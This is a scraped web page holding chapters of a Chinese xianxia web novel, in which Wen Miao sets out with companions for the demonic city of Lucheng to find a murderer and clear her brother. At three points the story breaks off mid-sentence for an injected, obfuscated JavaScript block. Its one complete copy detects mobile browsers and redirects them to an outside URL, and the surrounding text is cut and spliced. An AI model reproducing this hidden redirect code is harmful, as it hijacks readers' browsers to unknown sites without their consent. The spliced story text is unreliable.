如同惊雷炸耳的洪亮嗓音,似是重锤兜头敲下。 修为尚浅的温渺登时手脚发软,正要支撑不住,一人扶着她后背,将灵气输送至她体内。 温朗被束缚在地上不能动弹,正焦心温渺撑不住这带着雄厚内劲的声音,眼见一片雪似的身影挡在她身前,立刻又惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她点头道:“做好事我并非是不情愿,但这理应是仙盟分内之事,将职责强压给我,这不合道理。” 一众正道领头的人物正在言语交锋,温渺身在其中,认真得有些格格不入。 旁人要坑她,只有她还能想着这是做好事。 荐微有些无奈,低头看了看她。 温渺眨了眨眼睛,问:“怎么了,我说错什么话了吗?” 温朗也没觉着她的话不对,坚定点头道:“没说错,师尊是觉着你说得好呢。” 荐微轻叹口气。“嗯。” “就是。”芳留君摇着扇子轻笑。“都推给一个小姑娘,还要仙盟做什么,躺着看戏,白收俸禄吗?” 他说着话,目光还要挑事地看向徐伯远。 他说这种话,少不了有人悄声交谈。 毕竟提及不管事,谁也比不过琅华派,只要俸禄能照常收上去,哪管民间洪水滔天。 徐伯远红着脸反唇相讥:“要说躺着看戏,还要算芳留君更胜一筹。” 眼看他们又要吵起来,双方的人为了不再重现当年在仙盟天人宫斗殴的景象,连忙拉住自家掌门安抚。 柳无负不在乎他们的争执,似乎也早知晓自己的话会被驳回,脸色没什么变化 “ 咒刺的事,五大仙门会去查证,至于温朗,你证明不了人不是他杀的,想要还他清白,便将凶手带回,七日的时间。见不到凶手,他必死无疑。” 说完,他也不管温渺是否答应,转身便离开了大堂。 温朗还在原地怒骂:“别信他的鬼话,卑鄙无耻,让你去犯险还不如让我死!” 连柳雪堂都能被一刀毙命,这么危险的人物,温渺能查出什么东西,怕是连人家衣角都碰不上。 即便面对面,也是一招也挡不住。 他守了百年的妹妹,宁肯自己死了,也不能让旁人欺负了去。 他说完后才反应过来温渺半晌没应声,只见她低着头,脸色不知何时苍白得吓人,双唇紧抿,似是在极力忍耐着什么。 温渺浑身冷得近乎麻木,一种难以承受的痛苦遍布全身,仿佛千万冰针刺入体内。 她想强撑到离去,却发觉这痛苦远超她想象,竟是连步子也迈不开。 眼前的景象好似也模糊出了重影,一阵天旋地转后,她眼前一黑,不受控制地往前栽倒。 一只手臂及时将她捞起,衣衫摩挲的声音近在耳边。 温渺闻到了一股极淡的冷香,身体似乎被打横抱了起来,有冰凉的发丝扫过了她的脸颊,滑得像绸缎。 她像是泡在冰层下的湖水中,又冷又疼,那些声音也被隔绝在水面,恍恍惚惚听不真切。 只有一道声音是很近的,就在她耳边。 “寒毒发作很疼,你想忍着,还是我打晕你。” 温渺疼得快要意识不清,张着嘴试图说忍着,荐微已经轻声道:“嗯,那我替你选。” 随即她眼前一黑,彻底昏死过去 。 16.第 16 章 温渺醒来的时候,身上仍有细微刺痛,恍恍惚惚中,她看见一个人影正在一旁翻找着什么,忙出声问:“请问我昏过去多久?” 她一开口,沙哑的嗓音像破漏的风箱,将那人吓了一跳,转身道:“这嗓子,我还以为哪儿的鸭子叫呢……” 温渺的视线渐渐清晰后,才发现对方是个女子,只是穿着比较随意,衣服上缝着各种兜袋,腰间挂着葫芦和一些瓶瓶罐罐,随着她的动作当啷当啷响个不停。 她走过来,手指按在温渺的颈间,温渺被疼得一激灵。 随后,她见手足各处都有银针被逼出体内,那阵刺痛便消失了。 女子将银针收集起来,道:“我叫金不收,荐微请我来医治你的,他为你保命消耗了太多灵气,被寒毒反噬,已经回昆仑闭关养伤了。” 说完后她才想起温渺的问题,又道:“你也没睡太久,才过去七个时辰。” 温渺撑起身向她道谢。 金不收摆摆手:“我拿钱办事,用不着谢。 ” 她心想这诊金必然是荐微付的,日后要还,总不能欠了人情又欠钱,问:“请问荐微仙长付了多少诊金?” “一千两。” “一千两?”温渺还以为自己听错了,不可置信地重复了一遍。 金不收搬了个凳子坐到床榻边,从容不迫道:“江湖上谁不知道我的诊金很贵,何况这次又是例外,我一分钱没拿到,已经是在倒贴了。” 温渺穿衣起身,将散乱的头发随意编到一侧,边找自己的剑边说:“你不是说自己收了一千两。” “是啊,但那些钱都交到苍山派的钱库去了。” “苍山?”温渺皱起眉。“你是苍山的药修?” “呸,骂谁呢。”金不收翘着二郎腿,眼皮也不抬一下,专注地整理自己的小药箱。“我是在苍山蹲大牢,荐微交了一千两赎金,将我捞出来救你。” 温渺打量着她,面容温婉秀丽,只是穿着不伦不类,没有半点凶神恶煞的样子,怎么会是穷凶极恶之徒呢? 要知道五大仙门的牢房都不是一般人能进的,要么是江湖上棘手的魔道中人,要么便是门派中铸下大错的修士。 可听她的意思,似乎也不是出自苍山。 说话间,温渺已经穿戴整齐。 临走前,她还是问:“你为什么会被关进去?” 金不收也收起自己的东西,回答道:“之前新制了一批毒药,取名叫作‘柳无负’,卖得很是不错,不知怎得传到了苍山,柳无负心眼比针眼小,让人以私制禁药的罪名逮捕我,逼着我交钱才肯放我出去……” 温渺点点头,听着的确是柳无负能干出来的事。 “但你诊金那么贵,交不出一千两吗?” 毕竟金不收光是看衣着,好似也不是个铺张奢靡的人。 “我知道你在想什么,我们医修可是很费钱的,那些稀罕药材哪个不要钱?一不小心就炼废了,再说我的钱是我的钱,凭什么交给苍山?” 温渺不解。 “你不舍得交钱,不就要被一直关着了吗?” 金不收背起自己的东西,拉着她往出走,说:“不出钱也行,只要我答应加入苍山派,往后为苍山做事也能出来,我没同意。反正多得是人想找我,迟早会有人捞我出去,急什么,这不就让我等到了。” 温渺点点头,心想这一千两,换做是她,少说得还上一百年…… 走出驿馆一段距离后,见金不收还跟着自己,她想或许是凑巧同路,便没有直接说,礼貌道:“你是要去哪儿吗?” 金不收反问她:“你要去哪儿?” 温渺很实诚地告知她:“我想找个朋友,然后去露城一趟。” “哦,那我刚好也要去露城,顺路。” 温渺想了想,人家也没有骗她的必要,毕竟是荐微请来的人,肯定没有坏心。 她又问:“姑娘是要同行吗?” 金不收:“露城那地方危险得很,彼此有个照应不是最好?露城我还没去过,我救了你,带个路不算过分。” 温渺又点头,她只有七日的时间,现在已经浪费了将近一天,不能再继续耽搁了。 还好她从琅华赶来的时候走了最近的驰道,现在原路返回便好。 路上金不收问她:“你找那个朋友是做什么的?” 温渺道:“他去过露城,我想问问他怎么进去。” 上次曦衡君提醒她小心凌雨的时候,特意说过一句,无相易容丹罕有,只在露城有交易,凌雨作为一个散修能知道这些,必然是进出过露城的人。 金不收皱眉道:“他是露城的人?” 温渺虽然不知道露城是什么地方,但是看曦衡君和金不收的神色,也能勉强猜个大概,可能就是鱼龙混杂,邪魔外道聚集的地盘。 她说:“凌雨可能只是进去过,并非出自露城,他是琅华人士,前不久还为救我受了重伤。” 听到这话,金不收就知道她对露城并不了解,提醒道:“那地方可不是简单人能进去的,听说过四邪的中祸世之绯吗?” “西陵砚?” 温渺听到这个名字便感到心烦。 又跟他有关系,怎么哪儿都有他? 金不收道:“他便是露城的城主。” 温渺也不再意外了,她望着前方,平静道:“那还真是一身恶名。” 花榜首领,露城主人,四邪之一。 百年的时间,说长不长,说短也不短。 有人修炼百年,仍是寂寂无名。 而西陵砚在百年的时间内,恶名远扬到了极致,连穷乡僻壤的稚子听到他的名号都会哇哇大哭。 这三重身份,单拎出来任意一个,都是叫人闻风丧胆的存在,西陵砚却全占了。 温渺觉得感慨,果然向下容易向上难,所以才会有那么多人,明知堕入魔道必定损害心性,也要朝着万劫不复的结局走下去。 西陵砚吸纳了上任魔王遗留的力量,不必忍受病弱的躯体,也不会短命而亡。 他终于能走出净心居,再也不用受人冷落,旁人只会敬他怕他。 品尝到这般滋味以后,西陵府的一切,对于他而言不过是折磨他的牢笼。 他不仅不会回头,还要更加疯狂,更加不择手段地往上爬,将从前那个病弱无助的西陵府长公子彻底舍弃。 温渺问:“你说他在西陵府大开杀戒的时候,真的是走火入魔,不知道自己在做什么吗?” “谁知道呢?”金不收耸了耸肩,道:“毕竟世人都不相信人能狠毒如斯,连手足至亲都要杀得精光,走火入魔勉强还说得过去。屠杀是他的本意,凡人做了蠢事恶事要借口是醉酒,换作修士就喜欢说自己走火入魔。” “说得也是。”温渺点头道。 金不收又道:“不管是本意还是走火入魔,这疯子必然不后悔,要不然也不至于追着你哥杀了。” 温渺惊愕地扭过头,忙抬手摸自己的脸。 金不收白了她一眼,道:“这种档次的易容丹,我闭着眼睛能炼出一马车。你寒毒发作,易容早就失效了,你醒前我照荐微的吩咐又给你喂了新的。” 温渺这才松了口气,反正荐微托付的人,她也没什么好隐瞒。 她放下心,笑道:“原来是仙长告知你我的身份。” 金不收却道:“不是啊?” 温渺愣了一下,第一时间想到的是她的身份在苍山暴露。 然而若真是如此,易容也没了那么多必要。那或许是见过温朗?可他们兄妹其实长得并不相像。 看温渺苦思不解的神情,金不收好心解答道:“我很贵,靠得都是真才实学,和那些半吊子可不一样。你身上的寒毒,一看就知道是用了‘死不了’。” “啊?”温渺没听明白。 金不收解释道:“那颗‘死不了’是我一位前辈炼成的,管你什么伤势,只要吃了它,在阎王头上撒尿都成。” 温渺想起,绮云姐的确说过,是温朗给她吃了一种猛药,才勉强保她一时的性命。 可那猛药她受不住,差点就死了,最后还是荐微出手才救了她。 温渺想到这药的怪名,不禁笑道:“昆仑的一位前辈说,‘死不了’是猛药,差点让我成了救不活。” “那药本就不是给你的,于你而言何止是猛药,简直是毒药了。”她挑了挑眉,表情颇有些幸灾乐祸。“你不知道 ?那药本是给荐微的。” —— 三百年前世上也有一位大魔头,后来被当世百大仙门联手诛灭了。 按照西陵府灭门的时间算,其实是两百年前。 这件事天底下没人不知道,温渺听说过,荐微在那次诛魔中立下了大功,也为此留下旧伤。 金不收说,给荐微治伤的人是她的前辈。 那伤本也没有严重到用上“死不了”,但后来发生了一次意外。 仙门间每年会派出精锐弟子往来切磋,这些都是旧例。正如温朗也会去往苍山,在切磋中与柳雪堂结下仇怨。 当时的荐微已经名声大噪,与崔昭共称昆仑双秀,也是下一任昆仑掌门的备选。 然而与苍山的一场切磋,引动了荐微的旧伤,险险要了他的命。 知情人大都对此事缄默不言,具体内情外人也不得知,只是荐微那一伤后沉寂许久,常年在洞府中修养,鲜少见他外出。 而崔昭作为他的师弟,仍坚持满天下为他寻药治疗旧疾。 温渺在心中默算了一下,荐微因切磋而旧疾发作,那个时候她还很小,没有摔断腿,温朗也没有去昆仑。 金不收道:“后来我……我前辈,因为炼制一个奇药声名鹊起,被崔昭找上为荐微治伤。药炼好了就让你哥替他取药……” 听到此处,温渺抬起头,怔怔地说不出话来。 后来大致如何,她几乎已能猜出大半。 金不收仍在说:“其实取药不必让温朗亲自去,这种事一般有专门的弟子去做,但那条路可以经过平邪城,想必也是感念他许久不曾归家……” 温朗归家的那一日,正好西陵府遇上屠杀。 温渺闭了闭眼,有些不忍再听。 她始终不太愿意回想这段记忆。 期盼多年的重逢,再见却是人间炼狱。 温朗踏过一片残肢碎肉,将残留一息的她找到之时,该是怎样的绝望。 他是为了救她才违背师门,辜负了荐微的恩情。 所以那个时候孟绮云才说,温朗抱着奄奄一息的她给昆仑的诸位前辈磕头。 孟绮云提到这些,总是含糊其辞不说清楚,如今想来,或许是怕她心中内疚。 分明是去替荐微取药,最后却私自将师尊的救命药用在了她身上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她又给金不收添了碗茶,说:“你以后也会成为像那位前辈一般厉害的人物……”说着她又补了一句:“但仇家不要像前辈一般多才好。” 金不收眯着眼笑笑,说:“他可不是什么大好人。” 温渺认真道:“但你可以是啊。” 金不收看着温渺,见她眼神真挚,直勾勾地盯着自己,面上竟隐隐发热起来。 金不收小声嘀咕:“当好人可赚不到钱。” 她收起笑,将脸撇过一边,避开这灼人的目光。 温渺还在那自顾自地说:“等我还上欠仙长的一千两,以后好好赚钱,有余钱给你去买药材救人也行……” 茶水该喝的也喝过了,温渺正在将没吃完的茶点包好揣进兜袋,忽然听见身后有人唤她。 “小枣,终于找到你了。” 她转过身,望见那个背着琴的青衣身影,惊喜道:“凌雨,你怎么在这儿?” 金不收吐出嘴里的瓜子皮,顺口接了一句:“淋雨?起这么个名出门要随身备伞吧。” 凌雨当做没听到,眼里只有温渺。 “我伤势不重,担心你出事,便也赶来苍山了。” 温渺没想到萍水相逢,竟能被人这么真心相待,感动到一时语塞,最后连道两声多谢。 凌雨问:“我在来的路上听闻了些消息……你如今要去往何处?” 温渺直言道:“我想去露城。” 凌雨眉头轻皱,问:“为何事?” 既然要托人家帮忙,只要也要信任对方,温渺并不打算隐瞒,答道:“我要找到杀害柳雪堂的凶手,只剩六日的时间。大海捞针是来不及了,我想去露城赌一把。” 能够一击毙命柳雪堂,肯定不是简单的人物。 何况要变成温朗也不轻易,要么是极为熟悉他的人用了易容丹,要么便是天赋异禀的无相。 这两种都能在露城找到。 既然那根手指的存在,让那幕后黑手忌惮到要立刻灭口柳雪堂,便不会随便指派什么人去动手,何况还要嫁祸给温朗,那凶手必定本领不小。 那人既然害怕身份暴露,派出去的人必然也牵连不到他身上。 温渺想到了之前琅华弟子在客栈闲谈,提起过的花榜。 据说花榜的杀手也是拿钱办事,府里头做事都要登记在册,月末还要结钱。外头做工也是一样的,有账目记着都做了什么活。 花榜将任务派给杀手,或许也有留下蛛丝马迹。 温渺将自己的想法说给凌雨听,旁边的金不收听得狂笑不止。“什么玩意儿,你要去偷花榜账本?” “差不多,但……也不是这个意思。”温渺解释不清,想要反驳,但这意思确实大差不差的。 凌雨掀起眼皮,目光从大笑的金不收脸上滑过,重新落在温渺脸上,他轻笑着,道:“你很聪明,我明白你的意思。” 温渺被这么直白的夸奖,有些不好意思撇开视线。 “我想请教你关于露城的事。” 凌雨道:“不是急着赶路吗?走吧,路上我会与你说清。” 温渺摆摆手道:“不用了,你有自己的事,还有妹妹要找,千万莫要再因我耽搁你的正事了,何况你伤势未愈,听说露城那地方很乱……” “无事,我正巧要去露城,顺路。” 金不收扭头看他。“你也顺路?” 他淡淡道:“去露城,借花榜找妹妹。” 17.第 17 章 温渺知道花榜是个杀人的组织,倒是不知道他们连找人的活计也接。 凌雨看出她的疑惑,主动解答:“花榜价高得很,若不是杀人这种脏活,寻常事不必找上花榜,但若钱够了,他们也是接的。” 金不收上下扫了他一眼。“你懂得还不少。” 凌雨笑而不语。 邪魔外道杀人是家常便饭,这种事必然算不上脏活的。 温渺想了想,问:“仙门与花榜也有牵扯吗?” 凌雨道:“前段时日,丹阳掌门处死了四个修士,说是花榜派去的暗桩。” 既然会派人潜伏在仙门中,必然是想从中得到什么,或是刺探情报,或是盗窃门派宝物。 一个丹阳门便揪出四人,还有没揪出来的呢? 金不收见她表情严肃,反倒觉得好笑,说:“你气什么,这不是很寻常吗?” 温渺道:“昆仑或许也有这样的奸细。” 凌雨大致能猜到温渺的心思,说:“那些暗桩虽是花榜的人,但西陵砚还不至于派人替他偷东西。” 金不收点头:“是啊,这种人都是明抢。” 这次凌雨倒没有否认。 温渺却说:“授仙箓,入山门,却与邪魔外道为伍,如何不是背信弃义。” 凌雨平静道:“仙门正道,占了一个正字,又有几人能处处身正,寻常而已。若离了他们,花榜只怕是门可罗雀。” 温渺丝毫没有为他的话动摇,道:“作恶之人太多,便能将作恶当成理所当然吗?” 金不收拍了温渺的后脑一巴掌,将她拍得踉跄了两步,捂着被拍疼的脑袋扭头看她。 “你拍我作什么?” 金不收龇牙笑道:“我看看你的脑袋是不是木头做的。” 说完她脸上的笑又忽然僵住,有些莫名其妙道:“又没打你,这么看我作什么?” 温渺感觉到一只手正在轻揉她被打疼的位置,她稍稍退开些距离,说:“没事,我不疼,多谢你了。” 凌雨默然地收回手。 她又看向一旁不知嘀咕什么的金不收,说:“下次要动手可否轻一些?” 凌雨微笑道:“你应当说再手贱便砍了这只手。” 金不收回瞪他。 温渺只当他是说笑,无所谓地摇摇头。 “金大夫爱开玩笑,下手偶尔会失了轻重,以前我一个朋友也是这样。” 金不收道:“你朋友还不少。” 温渺点头:“从前是有很多朋友。” 她阿娘与人为善,厨艺也是一等一的好。才去西陵府做工的时候,偶尔还有人说他们闲话,后来便没人再针对她们了。 温渺的性格并非人人都喜欢,府中也有些说话做事不客气的人,但比起将对方想成恶人,她还是更愿意相信对方只是比较笨,也不想太过计较是非。 后来她也还是在府里交了很多朋友,她摔断腿变成了跛脚,有嘴欠的家仆笑她,也会有人叉着腰,替她将对方骂得狗血淋头。 有时候出府采买的姨姨,会顺手给她带两支糖糕。 她过生辰的时候,好些个人给她送生辰礼,阿娘从水井中捞出寒瓜切好,让她挨个分出去,众人便躺在院里一边乘凉一边吃瓜,说着替她挑选夫婿的玩笑。 那时候她对未来有无限期许,西陵府于她而言就像家一样。 府里的人看着她长大,像朋友也像亲人。 她还以为日子会一直那样平静地过下去。 她会在西陵府度过一生,也会陪着长公子直到最后。 金不收知晓她话中“从前”的含义,并没有多问。 而凌雨好似并未深思,也没有追问什么。 温渺问他:“话说露城究竟如何进入,若是如传闻一般尽是魔道,应当是个恐怖非常的地方,仙门不管吗?” 凌雨道:“比起让魔道四散作恶,让他们聚在一处彼此厮杀不是更好。” 温渺有些意外,如果所有人都在城中为所欲为,那得乱成什么样,西陵砚这个城主什么也不管事吗? 凌雨观望了天色,说:“先到附近的城镇,才能找到去露城的办法。” 走了半路,人迹罕至的驰道上多出一个白衣身影,迎面朝着他们走来。 对方是个年轻男子,器宇轩昂,背着一个剑袋,身上没有任何仙门信物,辨不出是修士还是寻常民间侠客。 温渺当人只是路过,打量了一眼便收回目光,谁知背后的金不收竟突然冲过去,拉着人的手臂,将人拽到了他们面前。 男子被她拽得皱眉,正想说点什么,金不收双眼发亮,迅速开口道:“给你们认识一下,这是我徒弟,叫刘富贵。他尚未出师,路上还请两位多多照看。” “刘富贵?” 凌雨没什么品德地嗤笑出声。 温渺没什么反应,点头道:“刘道友,幸会,” 刘富贵扭过头,面无表情地看着金不收。 金不收眯着眼冲他笑,说:“那么内敛作什么,好徒儿,快向二位前辈问好。” 凌雨淡淡道:“你是大夫,徒弟却是剑修?” 金不收反驳他:“剑只是防身兵器,又不是背着剑的都是剑修。” 凌雨冷笑:“但我瞧他的架势可不一般。” 寻常将剑当作随身兵器,为了便于使用,将剑挂在身侧最为寻常。 其中将剑细致包裹,又是剑盒又是剑袋的,必然是剑修无误。因为修炼得不差,才能保证剑随意动,不被花里胡哨的装饰影响。 温渺低头看了看自己挂在腰侧的长剑,决定还是不多话。 金不收从容答道:“我这徒弟就喜欢背个剑袋装高手。” 刘富贵瞥了她一眼,既不反驳也不赞同,随着她怎么说。 温渺点头,背着剑袋确实威风,之前听说有法修也爱背个剑袋,常年没见用过,打开才发现里面装的是木棍。 凌雨又问:“是吗,为何他与我见过的药修不同?” 寻常药修,身上背着的器物实在不少,虽然不至于像金不收这样挂了一身,但也不该这样干净利落。 金不收又道:“因为他悟性差,没出师,我还不许他行医。若不然治死了人,岂不坏我千金借命的名声。” “你的名声?”凌雨一声冷笑, 但见她坚持,也懒得再与她争辩。 温渺不是很在意刘富贵是修什么路数,她更担心此行的安危。 “露城凶险,若无必要,刘道友还是莫要前去。” 说完又觉得自己的话恐让人误会是轻视,忙又补充道:“我学艺不精,若是同行,恐怕会拖累几位。” 凌雨道:“不会,既是好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13612236|139541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友,又何谈拖累,帮你便是在替温朗洗清冤屈,正义之事,人人该为不是吗?” 此话一出,倒是让温渺无法反驳了。 金不收也道:“是啊,你不是说学艺不精,那更需要有人同行了。若不然凭你的本事,在露城那魔窟没走两步,就被吃得只剩骨头架子了。” 一直没说话的刘富贵终于开口道:“道友带我入露城,我护道友周全,携手相助,也是应该。” 对方说的有道理,且坚持要去,她也不好再反对,点头道:“也好,那我们同行。” —— 刘富贵一路不怎么说话,倒是金不收说个不停,将他的身世来处说了一番。 在金不收的话中,刘富贵天资愚钝,但坚持不懈,一心要做药修。因此死缠烂打,求着金不收将他收入师门,她感念刘富贵的一片赤忱,才不惜名声收他做弟子。 凌雨风凉道:“金大夫的名声似乎也不算可惜。” 金不收怎会在意这种嘲讽,摆摆手道:“人品和医术还是要分开看的。” 温渺扭头问当事人:“你死缠烂打?” 看着不像啊。 刘富贵平静道:“交了一千两。” 金不收:“一千两拜师费,物超所值,见你心诚我还折价了。” 温渺一副果不其然的表情,叹了口气。 走了好一会儿,她也不知凌雨要去露城的方法是什么。 开口想问的时候,凌雨已经停下脚步,驻足在一间米店前。 “跟我来。”他道。 几人没有质疑,跟着他一同走进米铺。 店里没什么人客,店家给一个妇人装完一袋小米,见他们是修道人打扮,招呼道:“呦,几位仙客要点什么?” 凌雨走到柜台边,说:“买花。” 店家笑道:“仙客说笑呢,我们这是米店,哪儿来的话卖?” “芍药红妆,芙蓉白面,店里没有吗?” 店家这才将金子收起来,微笑道:“四位仙客?那可不便宜。” 凌雨也不多话,将一锭金子推过去。 温渺听到背后金不收倒吸一口冷气的声音。 随后店家取出四枚药丸,又将一个小罐子推过来。 凌雨毫不犹豫将药丸接过服下,金不收则是将药拿起端详,在鼻尖轻嗅,刘富贵和温渺犹豫着没有立刻动作。 店家看出三位都是新客,笑道:“没毒,仙客放心用。” 金不收将药吞下,说:“是没毒,放心吧。” 凌雨看了眼渐暗的天色,说:“我们可以走了,要在日出前赶到。” 温渺问:“我们吃的是什么东西?” “是一种解药,露城附近满是毒瘴和幻阵,没有路引是进不去的。” 他掀起一角衣袖,将洁白的手腕递到温渺面前,上面隐约出现了一朵红花。 “这便是路引,凭它才能进城,现在你也有了。” 他说着,自行牵过温渺的手,将她的衣袖折起,露出和他同样的花,两只手臂轻轻触碰在一起。 刘富贵冷冷地扫了他一眼。 凌雨的手忽然翻转,扣住温渺的手腕,微笑地看着她,嗓音又轻又缓。 “小枣,你的手好凉。” 温渺脸色不变,将手抽回来,说:“哦,我天生体寒。” 第18章 凌雨笑笑不说话。 温渺掏出钱袋递给他,听到身后的金不收也催促道:“好徒儿,将为师的那一份也给了吧。” 刘富贵幽幽一声叹息后,还是从怀里掏出银两。 走在路上,凌雨为温渺细致地讲起了露城的由来。 五大仙门,琅华位于其中,与其他四大仙门相邻,露城便位于苍山游仙门和琅华的交接之地。 那个地方从前是个古战场,死尸千万,积累的阴杰也是铺天盖地,吸引不少邪修在那处修炼。 久而久之不少邪修抱团结队,为了争夺地盘修炼而彼此厮杀,但凡弱小的邪修,若不投靠势大的一方,便只能落得个被撕碎的下场。 后来那处几乎成了天底下魔道中人的聚集地,规模越来越大,到了一种棘手的地步。 百姓们要绕道走,连修士也都避之不及。 这块地盘同属于三大仙门,谁都不想多出血出力,一直拖延着没人去收拾。 正逢西陵府惨案,苍山琅华的名声一落千丈,被仙盟声讨赔出去不少金银法宝后,游仙门又逼他们割让辖地赔偿,一时陷入争端。 魔修聚在一处抢地盘自相残杀,他们根本懒得理会。 再往后游仙门与苍山琅华的关系极差,想让他们联手是难之又难,这个烫手山芋也被丢来丢去,丢到一发不可收拾的地步。那时的露城聚集了当世最厉害的邪修,例如锁骨娘子,不过她形单影只,从不与人为伍,且很快销声匿迹。 而几个邪修争斗地盘,露城始终没有选出真正的头领,直到消失已久的西陵砚横空出现,杀了几个魔修后,抢了对方的地盘。接着将所有不服他的人都撕碎,一直杀到了城主的地位,再没人敢不服他。 金不收听到凌雨跟温渺的对话,不禁插了一喘,说:“这个我知道,当时西陵砚把自家人杀光了,被所有仙门迫杀,就是躲到了露城,进去后也没什么风声,仙门派人去找又找不到,还以为他被别的庵 修吞噬了。” 温渺道:“难道是躲起来养伤了?” 凌雨笑了笑:“我猜也是,那时候的西陵砚或许也会害怕。” 金不收却道:“养伤哪儿用得着十年,再说了,而且他再出的时候,不知道为什么就多了一个法器,坚不可摧又如蚕丝绵软,杀人无形,任由他操控,恐怖至极。” 一直沉默的刘富贵忽然开口,似是对着温渺说的。“那是五蕴藏,佛门法器。传闻是佛世尊手中的蜘蛛精吐丝,受佛光普照千年而成。” 一个大魔头,却用佛门法器杀人,当真是讽刺。 温渺抬头看天,才发现已经走了很久,月亮渐渐西沉,距离天亮也快了。天色是掺了墨的蓝,坠着些零零散散的星子。 他们越走越偏僻,杂草有时候会长到腰际,四周满是嘈杂的虫鸣。走得小心,还是免不了路径上的乱石土堆。 温渺踩到一块突出的石头,往前歪了一下,两只手便同时挽住了她的左右臂。 凌雨不客气地斜了刘富贵一眼,说:“你离她太近,挤着她的路了。” 刘富贵默然退后两步。 温渺慌忙说:“是我自己走路不小心,没事没事。”人家刘富贵明明走在她身后,哪里挤着她!温渺无奈,只好歉意地冲着刘富贵颔首。金不收则为刘富贵打抱不平,不满道:“胡说,明明是你离她最近!” 凌雨无所谓道:“哦,是吗?” 看了眼天色,他将米店拿来的罐子掀开,里面飞出一只蝴蝶。“跟着蝴蝶走,就能找到露城。” 一个魔窟,搞得这么花里胡哨。温渺忍不住问:“这也是西陵砚的主意吗?” 金不收道:“他本来就心思古怪,芳留君出了名的风骚也不穿桃红,他一个大魔头穿成这样……” 温渺点了点头,凌雨垂下眼,小声问她:“桃红不好看吗?” "啊?桃红……这,好看是好看。" 但一个大魔头穿成这样,多奇怪啊。 温渺扯开话题,指着蝴蝶说:“朝那边飞了,我们快跟上。” 黎明时分,崎岖的小径渐渐变得开阔,林中浮着层稀薄的晨雾。跟随一只蝴蝶,他们来到了一片广阔的梅林前。梅枝如柳条一般柔软地垂落,似是美人发丝轻轻摇曳。大片的垂枝梅,一眼望去甚为壮阔。温渺扒开衣袖,再看手腕上的花形,似乎正是一朵梅花。 凌雨道:“这是城墙。” 露城说是一座城,但既没有城墙,也没有任何律法,所有的规矩都是厮杀与争斗后才有的约定俗成。凌雨说:“这里鱼龙混杂,弱肉强食,当街杀人夺物通常是没人管的。”他特别提醒温渺:"在这儿当好人,比上吊死得快。"温渺点头:“我晓得了。” 这里是露城,她自己惹火上身还好说,万一牵连朋友,岂不是给人添麻烦。 何况能混迹露城的,多数不是良善之辈,胡乱出手,一不小心帮到坏人,那便真是罪孽深重了。穿过层层梅林,渐渐看到房屋与街市。这里并不像传闻一般是什么破败阴森的魔窟,但一眼望去仍是十分古怪。 破破烂烂挂着蛛网的商铺中人不断有人进出,一边紧挨着整洁亮堂的酒 楼,再旁边是个老旧到塌了一半的房子,里头支着两张桌子,有人正在里头寇寇窣窣地交谈。街上有许多暗红血迹,有些在墙壁,有些在地上,不少已经泛着铁锈般的褐色,甚至路中央还有一只断腿,路过的人对它视若无睹。 露城中浓郁的阴杰,连温渺都能感觉到。 灵气与阴杰同属天地之气,但阴杰无法轻易炼化为己用,以阴杰来修行的方式往往极端凶残,被视为邪魔外道,在仙门辖地中会受到抓捕。 而在露城中,这些邪修可以肆无忌惮修行,也可以买到被仙门禁止的法宝与修炼秘籍。 温渺注意到有个迎面走来的人正喃喃自语着什么,眼珠子不断翻动着,打量其余的过路人,神态也透着一股隐隐的疯狂。 温渺和他对视上一眼,便将目光移开了,然而那人却忽然朝她冲过来。 随着他扑近,温渺也听清了他喃喃自语的是什么。 “师尊,师尊我错了,我不是有意的,师尊,师尊我错了..…” 温渺正想闪身躲开,刘富贵已经先手抓着她往后退,而凌雨也在同一时间抬脚将人踢飞了出去。 他这一脚也不知用了多大的力,那人嘭得一声巨响,砸上那座半塌的老房子,破旧的墙壁又哗哗啦啦地倒了一半。 两桌人被这动静吓得齐齐一抖,看到了眼地上半死不活的人,又扫了他们一眼,竟是没多计较,仿若无事发生般继续小声交谈。 温渺松了口气,道:“我还以为要打架呢。” 凌雨道:“这条街上的邪修欺软怕硬,不会轻易与人争斗。” 金不收沉思一番,才道:“方才那人身上穿着的,好像是琅华辖内某个仙门的衣裳,似乎还不是什么小仙门……” 刘富贵也说:“是叛出师门的修士。” 温渺不禁叹惋:“居然弃明投暗,好可惜。” 凌雨带着她继续往前,并说道:"露城中最多的,便是这类可惜人。" 他话里有几分感慨,却听不出是怎样的情绪。 温渺心想,或许是可惜那人拜入山门,却误入歧途吧。毕竟仙门修士虽然要听从门派差遣,但也相应会得到许多。 寻常散修大都是天资不佳,才不能拜入仙门的。 之前几次也能看出,凌雨的修为并不高,只是意外比常人抗打。 要是他加入一个好的仙门,修为至少比如今要更上几层。 金不收道:“人心如此,总是难以满足,药修中也有不少人为了成仙,什么法子都敢试,吃药吃死的我十只手都数不过来。”修仙修仙,话是这么说,但谁见过真能白日飞升的。 温渺好奇道:“真有能成仙的吗?” “做鬼都没门。”金不收说话直白得很。“想当神仙,吃药不如上吊。”人会为了各种或好或坏的欲望,主动亦或是被逼无奈走入歧途,修士也是如此。坚守道心圆融,在修士入门的心法中排在第一列,最基本的道理,往往又是最难得。说着,金不收看向凌雨,提醒他:“你不是要借花榜找妹妹,怎么还要与我们同行?” 